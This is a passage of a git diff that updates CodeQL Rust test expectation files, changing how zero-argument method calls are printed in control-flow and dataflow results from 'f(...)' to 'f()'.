anonymous.rs:32:9:32:13 | s.g() | None | None | | anonymous.rs:33:9:33:14 | nested | None | None | | regular.rs:30:13:30:21 | Struct {...} | None | None | | regular.rs:31:5:31:5 | s | None | None | -| regular.rs:31:5:31:9 | s.f(...) | None | None | +| regular.rs:31:5:31:9 | s.f() | None | None | | regular.rs:32:5:32:5 | s | None | None | -| regular.rs:32:5:32:9 | s.g(...) | None | None | +| regular.rs:32:5:32:9 | s.g() | None | None | | regular.rs:33:5:33:5 | s | None | None | -| regular.rs:33:5:33:9 | s.h(...) | None | None | +| regular.rs:33:5:33:9 | s.h() | None | None | | regular.rs:34:5:34:8 | free | None | None | | regular.rs:44:9:44:26 | ...::None::<...> | None | None | | regular.rs:45:9:45:20 | ...::Some | None | None | diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected index 1e47287a293..807f782967d 100644 --- a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected +++ b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected @@ -1,5 +1,5 @@ noLocation -| file://:0:0:0:0 | ... .unwrap(...) | +| file://:0:0:0:0 | ... .unwrap() | | file://:0:0:0:0 | ...: ... | | file://:0:0:0:0 | ...::Path | | file://:0:0:0:0 | ...::Path | @@ -32,7 +32,7 @@ noLocation | file://:0:0:0:0 | path | | file://:0:0:0:0 | path | | file://:0:0:0:0 | path | -| file://:0:0:0:0 | path.parent(...) | +| file://:0:0:0:0 | path.parent() | | file://:0:0:0:0 | std | | file://:0:0:0:0 | std | | file://:0:0:0:0 | std | diff --git a/rust/ql/test/library-tests/controlflow/Cfg.expected b/rust/ql/test/library-tests/controlflow/Cfg.expected index dbb77ca9416..40348a474e5 100644 --- a/rust/ql/test/library-tests/controlflow/Cfg.expected +++ b/rust/ql/test/library-tests/controlflow/Cfg.expected @@ -205,8 +205,8 @@ edges | test.rs:99:19:99:25 | Some(...) | test.rs:99:24:99:24 | x | match | | test.rs:99:24:99:24 | x | test.rs:99:24:99:24 | x | | | test.rs:99:24:99:24 | x | test.rs:100:17:100:17 | x | match | -| test.rs:99:29:99:32 | iter | test.rs:99:29:99:39 | iter.next(...) | | -| test.rs:99:29:99:39 | iter.next(...) | test.rs:99:19:99:25 | Some(...) | | +| test.rs:99:29:99:32 | iter | test.rs:99:29:99:39 | iter.next() | | +| test.rs:99:29:99:39 | iter.next() | test.rs:99:19:99:25 | Some(...) | | | test.rs:99:41:103:9 | { ... } | test.rs:99:15:99:39 | let ... = ... | | | test.rs:100:13:102:13 | if ... {...} | test.rs:99:41:103:9 | { ... } | | | test.rs:100:17:100:17 | x | test.rs:100:22:100:22 | 5 | | @@ -760,8 +760,8 @@ edges | test.rs:311:87:313:5 | { ... } | test.rs:311:5:313:5 | exit fn test_question_mark_operator_1 (normal) | | | test.rs:312:9:312:10 | Ok | test.rs:312:12:312:12 | s | | | test.rs:312:9:312:33 | Ok(...) | test.rs:311:87:313:5 | { ... } | | -| test.rs:312:12:312:12 | s | test.rs:312:12:312:27 | s.parse(...) | | -| test.rs:312:12:312:27 | s.parse(...) | test.rs:312:12:312:28 | TryExpr | | +| test.rs:312:12:312:12 | s | test.rs:312:12:312:27 | s.parse() | | +| test.rs:312:12:312:27 | s.parse() | test.rs:312:12:312:28 | TryExpr | | | test.rs:312:12:312:28 | TryExpr | test.rs:311:5:313:5 | exit fn test_question_mark_operator_1 (normal) | return | | test.rs:312:12:312:28 | TryExpr | test.rs:312:32:312:32 | 4 | match | | test.rs:312:12:312:32 | ... + ... | test.rs:312:9:312:33 | Ok(...) | | diff --git a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected index 291d43d1a62..068da53e28e 100644 --- a/rust/ql/test/library-tests/dataflow/global/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/global/inline-flow.expected @@ -17,13 +17,13 @@ edges | main.rs:38:23:38:31 | source(...) | main.rs:26:28:26:33 | ...: i64 | provenance | | | main.rs:38:23:38:31 | source(...) | main.rs:38:6:38:11 | [post] &mut a [&ref, MyStruct] | provenance | | | main.rs:39:10:39:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | provenance | | -| main.rs:39:10:39:10 | a [MyStruct] | main.rs:39:10:39:21 | a.get_data(...) | provenance | | +| main.rs:39:10:39:10 | a [MyStruct] | main.rs:39:10:39:21 | a.get_data() | provenance | | | main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | main.rs:44:17:44:17 | [post] a [MyStruct] | provenance | | | main.rs:44:17:44:17 | [post] a [MyStruct] | main.rs:45:10:45:10 | a [MyStruct] | provenance | | | main.rs:44:30:44:38 | source(...) | main.rs:26:28:26:33 | ...: i64 | provenance | | | main.rs:44:30:44:38 | source(...) | main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | provenance | | | main.rs:45:10:45:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | provenance | | -| main.rs:45:10:45:10 | a [MyStruct] | main.rs:45:10:45:21 | a.get_data(...) | provenance | | +| main.rs:45:10:45:10 | a [MyStruct] | main.rs:45:10:45:21 | a.get_data() | provenance | | | main.rs:48:12:48:17 | ...: i64 | main.rs:49:10:49:10 | n | provenance | | | main.rs:53:9:53:9 | a | main.rs:54:13:54:13 | a | provenance | | | main.rs:53:13:53:21 | source(...) | main.rs:53:9:53:9 | a | provenance | | @@ -48,11 +48,11 @@ edges | main.rs:82:26:82:26 | a | main.rs:78:21:78:26 | ...: i64 | provenance | | | main.rs:82:26:82:26 | a | main.rs:82:13:82:27 | pass_through(...) | provenance | | | main.rs:94:22:94:27 | ...: i64 | main.rs:95:14:95:14 | n | provenance | | -| main.rs:98:30:104:5 | { ... } | main.rs:117:13:117:25 | mn.get_data(...) | provenance | | +| main.rs:98:30:104:5 | { ... } | main.rs:117:13:117:25 | mn.get_data() | provenance | | | main.rs:102:13:102:21 | source(...) | main.rs:98:30:104:5 | { ... } | provenance | | | main.rs:106:27:106:32 | ...: i64 | main.rs:106:42:112:5 | { ... } | provenance | | | main.rs:117:9:117:9 | a | main.rs:118:10:118:10 | a | provenance | | -| main.rs:117:13:117:25 | mn.get_data(...) | main.rs:117:9:117:9 | a | provenance | | +| main.rs:117:13:117:25 | mn.get_data() | main.rs:117:9:117:9 | a | provenance | | | main.rs:123:9:123:9 | a | main.rs:124:16:124:16 | a | provenance | | | main.rs:123:13:123:21 | source(...) | main.rs:123:9:123:9 | a | provenance | | | main.rs:124:16:124:16 | a | main.rs:94:22:94:27 | ...: i64 | provenance | | @@ -115,12 +115,12 @@ nodes | main.rs:38:11:38:11 | [post] a [MyStruct] | semmle.label | [post] a [MyStruct] | | main.rs:38:23:38:31 | source(...) | semmle.label | source(...) | | main.rs:39:10:39:10 | a [MyStruct] | semmle.label | a [MyStruct] | -| main.rs:39:10:39:21 | a.get_data(...) | semmle.label | a.get_data(...) | +| main.rs:39:10:39:21 | a.get_data() | semmle.label | a.get_data() | | main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | semmle.label | [post] &mut a [&ref, MyStruct] | | main.rs:44:17:44:17 | [post] a [MyStruct] | semmle.label | [post] a [MyStruct] | | main.rs:44:30:44:38 | source(...) | semmle.label | source(...) | | main.rs:45:10:45:10 | a [MyStruct] | semmle.label | a [MyStruct] | -| main.rs:45:10:45:21 | a.get_data(...) | semmle.label | a.get_data(...) | +| main.rs:45:10:45:21 | a.get_data() | semmle.label | a.get_data() | | main.rs:48:12:48:17 | ...: i64 | semmle.label | ...: i64 | | main.rs:49:10:49:10 | n | semmle.label | n | | main.rs:53:9:53:9 | a | semmle.label | a | @@ -154,7 +154,7 @@ nodes | main.rs:106:27:106:32 | ...: i64 | semmle.label | ...: i64 | | main.rs:106:42:112:5 | { ... } | semmle.label | { ... } | | main.rs:117:9:117:9 | a | semmle.label | a | -| main.rs:117:13:117:25 | mn.get_data(...) | semmle.label | mn.get_data(...) | +| main.rs:117:13:117:25 | mn.get_data() | semmle.label | mn.get_data() | | main.rs:118:10:118:10 | a | semmle.label | a | | main.rs:123:9:123:9 | a | semmle.label | a | | main.rs:123:13:123:21 | source(...) | semmle.label | source(...) | @@ -204,9 +204,9 @@ nodes | main.rs:239:14:239:14 | c | semmle.label | c | subpaths | main.rs:38:23:38:31 | source(...) | main.rs:26:28:26:33 | ...: i64 | main.rs:26:17:26:25 | SelfParam [Return] [&ref, MyStruct] | main.rs:38:6:38:11 | [post] &mut a [&ref, MyStruct] | -| main.rs:39:10:39:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:30:31:32:5 | { ... } | main.rs:39:10:39:21 | a.get_data(...) | +| main.rs:39:10:39:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:30:31:32:5 | { ... } | main.rs:39:10:39:21 | a.get_data() | | main.rs:44:30:44:38 | source(...) | main.rs:26:28:26:33 | ...: i64 | main.rs:26:17:26:25 | SelfParam [Return] [&ref, MyStruct] | main.rs:44:12:44:17 | [post] &mut a [&ref, MyStruct] | -| main.rs:45:10:45:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:30:31:32:5 | { ... } | main.rs:45:10:45:21 | a.get_data(...) | +| main.rs:45:10:45:10 | a [MyStruct] | main.rs:30:17:30:21 | SelfParam [&ref, MyStruct] | main.rs:30:31:32:5 | { ... } | main.rs:45:10:45:21 | a.get_data() | | main.rs:63:26:63:26 | a | main.rs:57:17:57:22 | ...: i64 | main.rs:57:32:59:1 | { ... } | main.rs:63:13:63:27 | pass_through(...) | | main.rs:68:26:71:5 | { ... } | main.rs:57:17:57:22 | ...: i64 | main.rs:57:32:59:1 | { ... } | main.rs:68:13:71:6 | pass_through(...) | | main.rs:82:26:82:26 | a | main.rs:78:21:78:26 | ...: i64 | main.rs:78:36:80:5 | { ... } | main.rs:82:13:82:27 | pass_through(...) | @@ -217,8 +217,8 @@ subpaths testFailures #select | main.rs:18:10:18:10 | a | main.rs:13:5:13:13 | source(...) | main.rs:18:10:18:10 | a | $@ | main.rs:13:5:13:13 | source(...) | source(...) | -| main.rs:39:10:39:21 | a.get_data(...) | main.rs:38:23:38:31 | source(...) | main.rs:39:10:39:21 | a.get_data(...) | $@ | main.rs:38:23:38:31 | source(...) | source(...) | -| main.rs:45:10:45:21 | a.get_data(...) | main.rs:44:30:44:38 | source(...) | main.rs:45:10:45:21 | a.get_data(...) | $@ | main.rs:44:30:44:38 | source(...) | source(...) | +| main.rs:39:10:39:21 | a.get_data() | main.rs:38:23:38:31 | source(...) | main.rs:39:10:39:21 | a.get_data() | $@ | main.rs:38:23:38:31 | source(...) | source(...) | +| main.rs:45:10:45:21 | a.get_data() | main.rs:44:30:44:38 | source(...) | main.rs:45:10:45:21 | a.get_data() | $@ | main.rs:44:30:44:38 | source(...) | source(...) | | main.rs:49:10:49:10 | n | main.rs:53:13:53:21 | source(...) | main.rs:49:10:49:10 | n | $@ | main.rs:53:13:53:21 | source(...) | source(...) | | main.rs:64:10:64:10 | b | main.rs:62:13:62:21 | source(...) | main.rs:64:10:64:10 | b | $@ | main.rs:62:13:62:21 | source(...) | source(...) | | main.rs:72:10:72:10 | a | main.rs:70:9:70:18 | source(...) | main.rs:72:10:72:10 | a | $@ | main.rs:70:9:70:18 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected index c861feaa017..cd1accbe489 100644 --- a/rust/ql/test/library-tests/dataflow/global/viableCallable.expected +++ b/rust/ql/test/library-tests/dataflow/global/viableCallable.expected @@ -2,15 +2,15 @@ | main.rs:17:13:17:23 | get_data(...) | main.rs:12:1:14:1 | fn get_data | | main.rs:18:5:18:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:37:5:37:22 | sink(...) | main.rs:5:1:7:1 | fn sink | -| main.rs:37:10:37:21 | a.get_data(...) | main.rs:30:5:32:5 | fn get_data | +| main.rs:37:10:37:21 | a.get_data() | main.rs:30:5:32:5 | fn get_data | | main.rs:38:5:38:32 | ... .set_data(...) | main.rs:26:5:28:5 | fn set_data | | main.rs:38:23:38:31 | source(...) | main.rs:1:1:3:1 | fn source | | main.rs:39:5:39:22 | sink(...) | main.rs:5:1:7:1 | fn sink | -| main.rs:39:10:39:21 | a.get_data(...) | main.rs:30:5:32:5 | fn get_data | +| main.rs:39:10:39:21 | a.get_data() | main.rs:30:5:32:5 | fn get_data | | main.rs:44:5:44:39 | ... .set_data(...) | main.rs:26:5:28:5 | fn set_data | | main.rs:44:30:44:38 | source(...) | main.rs:1:1:3:1 | fn source | | main.rs:45:5:45:22 | sink(...) | main.rs:5:1:7:1 | fn sink | -| main.rs:45:10:45:21 | a.get_data(...) | main.rs:30:5:32:5 | fn get_data | +| main.rs:45:10:45:21 | a.get_data() | main.rs:30:5:32:5 | fn get_data | | main.rs:49:5:49:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:53:13:53:21 | source(...) | main.rs:1:1:3:1 | fn source | | main.rs:54:5:54:14 | data_in(...) | main.rs:48:1:50:1 | fn data_in | @@ -25,7 +25,7 @@ | main.rs:83:5:83:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:95:9:95:15 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:102:13:102:21 | source(...) | main.rs:1:1:3:1 | fn source | -| main.rs:117:13:117:25 | mn.get_data(...) | main.rs:98:5:104:5 | fn get_data | +| main.rs:117:13:117:25 | mn.get_data() | main.rs:98:5:104:5 | fn get_data | | main.rs:118:5:118:11 | sink(...) | main.rs:5:1:7:1 | fn sink | | main.rs:123:13:123:21 | source(...) | main.rs:1:1:3:1 | fn source | | main.rs:124:5:124:17 | mn.data_in(...) | main.rs:94:5:96:5 | fn data_in | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 7fd8c3fe8a8..9676fd3f2af 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -330,13 +330,13 @@ localStep | main.rs:271:29:271:30 | [post] receiver for r1 | main.rs:271:29:271:30 | [post] r1 | | main.rs:271:29:271:30 | r1 | main.rs:271:29:271:30 | receiver for r1 | | main.rs:271:29:271:30 | r1 | main.rs:272:29:272:30 | r1 | -| main.rs:271:29:271:35 | r1.ok(...) | main.rs:271:9:271:11 | o1a | +| main.rs:271:29:271:35 | r1.ok() | main.rs:271:9:271:11 | o1a | | main.rs:272:9:272:11 | [SSA] o1b | main.rs:274:10:274:12 | o1b | | main.rs:272:9:272:11 | o1b | main.rs:272:9:272:11 | [SSA] o1b | | main.rs:272:9:272:11 | o1b | main.rs:272:9:272:11 | o1b | | main.rs:272:29:272:30 | [post] receiver for r1 | main.rs:272:29:272:30 | [post] r1 | | main.rs:272:29:272:30 | r1 | main.rs:272:29:272:30 | receiver for r1 | -| main.rs:272:29:272:36 | r1.err(...) | main.rs:272:9:272:11 | o1b | +| main.rs:272:29:272:36 | r1.err() | main.rs:272:9:272:11 | o1b | | main.rs:273:10:273:12 | [post] receiver for o1a | main.rs:273:10:273:12 | [post] o1a | | main.rs:273:10:273:12 | o1a | main.rs:273:10:273:12 | receiver for o1a | | main.rs:274:10:274:12 | [post] receiver for o1b | main.rs:274:10:274:12 | [post] o1b | @@ -352,13 +352,13 @@ localStep | main.rs:277:29:277:30 | [post] receiver for r2 | main.rs:277:29:277:30 | [post] r2 | | main.rs:277:29:277:30 | r2 | main.rs:277:29:277:30 | receiver for r2 | | main.rs:277:29:277:30 | r2 | main.rs:278:29:278:30 | r2 | -| main.rs:277:29:277:35 | r2.ok(...) | main.rs:277:9:277:11 | o2a | +| main.rs:277:29:277:35 | r2.ok() | main.rs:277:9:277:11 | o2a | | main.rs:278:9:278:11 | [SSA] o2b | main.rs:280:10:280:12 | o2b | | main.rs:278:9:278:11 | o2b | main.rs:278:9:278:11 | [SSA] o2b | | main.rs:278:9:278:11 | o2b | main.rs:278:9:278:11 | o2b | | main.rs:278:29:278:30 | [post] receiver for r2 | main.rs:278:29:278:30 | [post] r2 | | main.rs:278:29:278:30 | r2 | main.rs:278:29:278:30 | receiver for r2 | -| main.rs:278:29:278:36 | r2.err(...) | main.rs:278:9:278:11 | o2b | +| main.rs:278:29:278:36 | r2.err() | main.rs:278:9:278:11 | o2b | | main.rs:279:10:279:12 | [post] receiver for o2a | main.rs:279:10:279:12 | [post] o2a | | main.rs:279:10:279:12 | o2a | main.rs:279:10:279:12 | receiver for o2a | | main.rs:280:10:280:12 | [post] receiver for o2b | main.rs:280:10:280:12 | [post] o2b | @@ -646,8 +646,8 @@ localStep | main.rs:441:9:441:20 | default_name | main.rs:441:9:441:20 | default_name | | main.rs:441:24:441:33 | [post] receiver for source(...) | main.rs:441:24:441:33 | [post] source(...) | | main.rs:441:24:441:33 | source(...) | main.rs:441:24:441:33 | receiver for source(...) | -| main.rs:441:24:441:45 | ... .to_string(...) | main.rs:441:9:441:20 | default_name | -| main.rs:441:24:441:45 | ... .to_string(...) | main.rs:442:9:442:20 | SSA phi read(default_name) | +| main.rs:441:24:441:45 | ... .to_string() | main.rs:441:9:441:20 | default_name | +| main.rs:441:24:441:45 | ... .to_string() | main.rs:442:9:442:20 | SSA phi read(default_name) | | main.rs:442:5:448:5 | for ... in ... { ... } | main.rs:440:75:449:1 | { ... } | | main.rs:442:9:442:20 | SSA phi read(default_name) | main.rs:444:41:444:67 | default_name | | main.rs:442:10:442:13 | [SSA] cond | main.rs:443:12:443:15 | cond | @@ -692,7 +692,7 @@ localStep | main.rs:468:13:468:13 | [post] receiver for a | main.rs:468:13:468:13 | [post] a | | main.rs:468:13:468:13 | a | main.rs:468:13:468:13 | receiver for a | | main.rs:468:13:468:13 | a | main.rs:472:10:472:10 | a | -| main.rs:468:13:468:25 | a.to_string(...) | main.rs:468:9:468:9 | b | +| main.rs:468:13:468:25 | a.to_string() | main.rs:468:9:468:9 | b | | main.rs:469:9:469:9 | [SSA] c | main.rs:474:10:474:10 | c | | main.rs:469:9:469:9 | c | main.rs:469:9:469:9 | [SSA] c | | main.rs:469:9:469:9 | c | main.rs:469:9:469:9 | c | @@ -700,9 +700,9 @@ localStep | main.rs:469:13:469:13 | [post] receiver for b | main.rs:469:13:469:13 | [post] b | | main.rs:469:13:469:13 | b | main.rs:469:13:469:13 | receiver for b | | main.rs:469:13:469:13 | b | main.rs:470:19:470:19 | b | -| main.rs:469:13:469:28 | [post] receiver for b.parse(...) | main.rs:469:13:469:28 | [post] b.parse(...) | -| main.rs:469:13:469:28 | b.parse(...) | main.rs:469:13:469:28 | receiver for b.parse(...) | -| main.rs:469:13:469:37 | ... .unwrap(...) | main.rs:469:9:469:9 | c | +| main.rs:469:13:469:28 | [post] receiver for b.parse() | main.rs:469:13:469:28 | [post] b.parse() | +| main.rs:469:13:469:28 | b.parse() | main.rs:469:13:469:28 | receiver for b.parse() | +| main.rs:469:13:469:37 | ... .unwrap() | main.rs:469:9:469:9 | c | | main.rs:470:9:470:9 | [SSA] d | main.rs:475:10:475:10 | d | | main.rs:470:9:470:9 | d | main.rs:470:9:470:9 | [SSA] d | | main.rs:470:9:470:9 | d | main.rs:470:9:470:9 | d | @@ -710,9 +710,9 @@ localStep | main.rs:470:19:470:19 | [post] receiver for b | main.rs:470:19:470:19 | [post] b | | main.rs:470:19:470:19 | b | main.rs:470:19:470:19 | receiver for b | | main.rs:470:19:470:19 | b | main.rs:473:17:473:17 | b | -| main.rs:470:19:470:27 | [post] receiver for b.parse(...) | main.rs:470:19:470:27 | [post] b.parse(...) | -| main.rs:470:19:470:27 | b.parse(...) | main.rs:470:19:470:27 | receiver for b.parse(...) | -| main.rs:470:19:470:36 | ... .unwrap(...) | main.rs:470:9:470:9 | d | +| main.rs:470:19:470:27 | [post] receiver for b.parse() | main.rs:470:19:470:27 | [post] b.parse() | +| main.rs:470:19:470:27 | b.parse() | main.rs:470:19:470:27 | receiver for b.parse() | +| main.rs:470:19:470:36 | ... .unwrap() | main.rs:470:9:470:9 | d | | main.rs:479:9:479:10 | [SSA] vs | main.rs:481:10:481:11 | vs | | main.rs:479:9:479:10 | vs | main.rs:479:9:479:10 | [SSA] vs | | main.rs:479:9:479:10 | vs | main.rs:479:9:479:10 | vs | @@ -723,16 +723,16 @@ localStep | main.rs:482:11:482:12 | [post] vs | main.rs:483:11:483:12 | vs | | main.rs:482:11:482:12 | vs | main.rs:482:11:482:12 | receiver for vs | | main.rs:482:11:482:12 | vs | main.rs:483:11:483:12 | vs | -| main.rs:482:11:482:19 | [post] receiver for vs.iter(...) | main.rs:482:11:482:19 | [post] vs.iter(...) | -| main.rs:482:11:482:19 | vs.iter(...) | main.rs:482:11:482:19 | receiver for vs.iter(...) | -| main.rs:482:11:482:26 | ... .next(...) | main.rs:482:11:482:26 | receiver for ... .next(...) | -| main.rs:482:11:482:26 | [post] receiver for ... .next(...) | main.rs:482:11:482:26 | [post] ... .next(...) | +| main.rs:482:11:482:19 | [post] receiver for vs.iter() | main.rs:482:11:482:19 | [post] vs.iter() | +| main.rs:482:11:482:19 | vs.iter() | main.rs:482:11:482:19 | receiver for vs.iter() | +| main.rs:482:11:482:26 | ... .next() | main.rs:482:11:482:26 | receiver for ... .next() | +| main.rs:482:11:482:26 | [post] receiver for ... .next() | main.rs:482:11:482:26 | [post] ... .next() | | main.rs:483:11:483:12 | [post] receiver for vs | main.rs:483:11:483:12 | [post] vs | | main.rs:483:11:483:12 | [post] vs | main.rs:485:14:485:15 | vs | | main.rs:483:11:483:12 | vs | main.rs:483:11:483:12 | receiver for vs | | main.rs:483:11:483:12 | vs | main.rs:485:14:485:15 | vs | -| main.rs:483:11:483:19 | [post] receiver for vs.iter(...) | main.rs:483:11:483:19 | [post] vs.iter(...) | -| main.rs:483:11:483:19 | vs.iter(...) | main.rs:483:11:483:19 | receiver for vs.iter(...) | +| main.rs:483:11:483:19 | [post] receiver for vs.iter() | main.rs:483:11:483:19 | [post] vs.iter() | +| main.rs:483:11:483:19 | vs.iter() | main.rs:483:11:483:19 | receiver for vs.iter() | | main.rs:483:11:483:26 | ... .nth(...) | main.rs:483:11:483:26 | receiver for ... .nth(...) | | main.rs:483:11:483:26 | [post] receiver for ... .nth(...) | main.rs:483:11:483:26 | [post] ... .nth(...) | | main.rs:485:9:485:9 | [SSA] v | main.rs:486:14:486:14 | v | @@ -753,9 +753,9 @@ localStep | main.rs:492:27:492:28 | [post] vs | main.rs:497:5:497:6 | vs | | main.rs:492:27:492:28 | vs | main.rs:492:27:492:28 | receiver for vs | | main.rs:492:27:492:28 | vs | main.rs:497:5:497:6 | vs | -| main.rs:492:27:492:35 | [post] receiver for vs.iter(...) | main.rs:492:27:492:35 | [post] vs.iter(...) | -| main.rs:492:27:492:35 | vs.iter(...) | main.rs:492:27:492:35 | receiver for vs.iter(...) | -| main.rs:492:27:492:45 | ... .collect(...) | main.rs:492:9:492:11 | vs2 | +| main.rs:492:27:492:35 | [post] receiver for vs.iter() | main.rs:492:27:492:35 | [post] vs.iter() | +| main.rs:492:27:492:35 | vs.iter() | main.rs:492:27:492:35 | receiver for vs.iter() | +| main.rs:492:27:492:45 | ... .collect() | main.rs:492:9:492:11 | vs2 | | main.rs:493:10:493:10 | [SSA] v | main.rs:494:14:494:14 | v | | main.rs:493:10:493:10 | v | main.rs:493:10:493:10 | [SSA] v | | main.rs:493:10:493:10 | v | main.rs:493:10:493:10 | v | @@ -763,8 +763,8 @@ localStep | main.rs:497:5:497:6 | [post] vs | main.rs:498:5:498:6 | vs | | main.rs:497:5:497:6 | vs | main.rs:497:5:497:6 | receiver for vs | | main.rs:497:5:497:6 | vs | main.rs:498:5:498:6 | vs | -| main.rs:497:5:497:13 | [post] receiver for vs.iter(...) | main.rs:497:5:497:13 | [post] vs.iter(...) | -| main.rs:497:5:497:13 | vs.iter(...) | main.rs:497:5:497:13 | receiver for vs.iter(...) | +| main.rs:497:5:497:13 | [post] receiver for vs.iter() | main.rs:497:5:497:13 | [post] vs.iter() | +| main.rs:497:5:497:13 | vs.iter() | main.rs:497:5:497:13 | receiver for vs.iter() | | main.rs:497:20:497:20 | ... | main.rs:497:20:497:20 | x | | main.rs:497:20:497:20 | [SSA] x | main.rs:497:29:497:29 | x | | main.rs:497:20:497:20 | x | main.rs:497:20:497:20 | [SSA] x | @@ -773,8 +773,8 @@ localStep | main.rs:498:5:498:6 | [post] vs | main.rs:500:14:500:15 | vs | | main.rs:498:5:498:6 | vs | main.rs:498:5:498:6 | receiver for vs | | main.rs:498:5:498:6 | vs | main.rs:500:14:500:15 | vs | -| main.rs:498:5:498:13 | [post] receiver for vs.iter(...) | main.rs:498:5:498:13 | [post] vs.iter(...) | -| main.rs:498:5:498:13 | vs.iter(...) | main.rs:498:5:498:13 | receiver for vs.iter(...) | +| main.rs:498:5:498:13 | [post] receiver for vs.iter() | main.rs:498:5:498:13 | [post] vs.iter() | +| main.rs:498:5:498:13 | vs.iter() | main.rs:498:5:498:13 | receiver for vs.iter() | | main.rs:498:25:498:25 | ... | main.rs:498:25:498:25 | x | | main.rs:498:25:498:25 | [SSA] x | main.rs:498:34:498:34 | x | | main.rs:498:25:498:25 | x | main.rs:498:25:498:25 | [SSA] x | @@ -800,17 +800,17 @@ localStep | main.rs:507:11:507:16 | vs_mut | main.rs:507:11:507:16 | receiver for vs_mut | | main.rs:507:11:507:16 | vs_mut | main.rs:508:11:508:16 | [SSA] vs_mut | | main.rs:507:11:507:16 | vs_mut | main.rs:508:11:508:16 | vs_mut | -| main.rs:507:11:507:23 | [post] receiver for vs_mut.iter(...) | main.rs:507:11:507:23 | [post] vs_mut.iter(...) | -| main.rs:507:11:507:23 | vs_mut.iter(...) | main.rs:507:11:507:23 | receiver for vs_mut.iter(...) | -| main.rs:507:11:507:30 | ... .next(...) | main.rs:507:11:507:30 | receiver for ... .next(...) | -| main.rs:507:11:507:30 | [post] receiver for ... .next(...) | main.rs:507:11:507:30 | [post] ... .next(...) | +| main.rs:507:11:507:23 | [post] receiver for vs_mut.iter() | main.rs:507:11:507:23 | [post] vs_mut.iter() | +| main.rs:507:11:507:23 | vs_mut.iter() | main.rs:507:11:507:23 | receiver for vs_mut.iter() | +| main.rs:507:11:507:30 | ... .next() | main.rs:507:11:507:30 | receiver for ... .next() | +| main.rs:507:11:507:30 | [post] receiver for ... .next() | main.rs:507:11:507:30 | [post] ... .next() | | main.rs:508:11:508:16 | [SSA] vs_mut | main.rs:510:19:510:24 | vs_mut | | main.rs:508:11:508:16 | [post] receiver for vs_mut | main.rs:508:11:508:16 | [post] vs_mut | | main.rs:508:11:508:16 | [post] vs_mut | main.rs:510:19:510:24 | vs_mut | | main.rs:508:11:508:16 | vs_mut | main.rs:508:11:508:16 | receiver for vs_mut | | main.rs:508:11:508:16 | vs_mut | main.rs:510:19:510:24 | vs_mut | -| main.rs:508:11:508:23 | [post] receiver for vs_mut.iter(...) | main.rs:508:11:508:23 | [post] vs_mut.iter(...) | -| main.rs:508:11:508:23 | vs_mut.iter(...) | main.rs:508:11:508:23 | receiver for vs_mut.iter(...) | +| main.rs:508:11:508:23 | [post] receiver for vs_mut.iter() | main.rs:508:11:508:23 | [post] vs_mut.iter() | +| main.rs:508:11:508:23 | vs_mut.iter() | main.rs:508:11:508:23 | receiver for vs_mut.iter() | | main.rs:508:11:508:30 | ... .nth(...) | main.rs:508:11:508:30 | receiver for ... .nth(...) | | main.rs:508:11:508:30 | [post] receiver for ... .nth(...) | main.rs:508:11:508:30 | [post] ... .nth(...) | | main.rs:510:5:512:5 | for ... in ... { ... } | main.rs:478:16:513:1 | { ... } | @@ -3037,13 +3037,13 @@ readStep | main.rs:470:19:470:19 | b | &ref | main.rs:470:19:470:19 | receiver for b | | main.rs:481:10:481:11 | vs | element | main.rs:481:10:481:14 | vs[0] | | main.rs:482:11:482:12 | vs | &ref | main.rs:482:11:482:12 | receiver for vs | -| main.rs:482:11:482:35 | ... .unwrap(...) | &ref | main.rs:482:10:482:35 | * ... | +| main.rs:482:11:482:35 | ... .unwrap() | &ref | main.rs:482:10:482:35 | * ... | | main.rs:483:11:483:12 | vs | &ref | main.rs:483:11:483:12 | receiver for vs | -| main.rs:483:11:483:35 | ... .unwrap(...) | &ref | main.rs:483:10:483:35 | * ... | +| main.rs:483:11:483:35 | ... .unwrap() | &ref | main.rs:483:10:483:35 | * ... | | main.rs:485:14:485:15 | vs | element | main.rs:485:9:485:9 | v | | main.rs:488:9:488:10 | &... | &ref | main.rs:488:10:488:10 | v | | main.rs:488:15:488:16 | vs | &ref | main.rs:488:15:488:16 | receiver for vs | -| main.rs:488:15:488:23 | vs.iter(...) | element | main.rs:488:9:488:10 | &... | +| main.rs:488:15:488:23 | vs.iter() | element | main.rs:488:9:488:10 | &... | | main.rs:492:27:492:28 | vs | &ref | main.rs:492:27:492:28 | receiver for vs | | main.rs:493:9:493:10 | &... | &ref | main.rs:493:10:493:10 | v | | main.rs:493:15:493:17 | vs2 | element | main.rs:493:9:493:10 | &... | @@ -3052,15 +3052,15 @@ readStep | main.rs:498:5:498:6 | vs | &ref | main.rs:498:5:498:6 | receiver for vs | | main.rs:498:34:498:34 | x | &ref | main.rs:498:33:498:34 | * ... | | main.rs:500:14:500:15 | vs | &ref | main.rs:500:14:500:15 | receiver for vs | -| 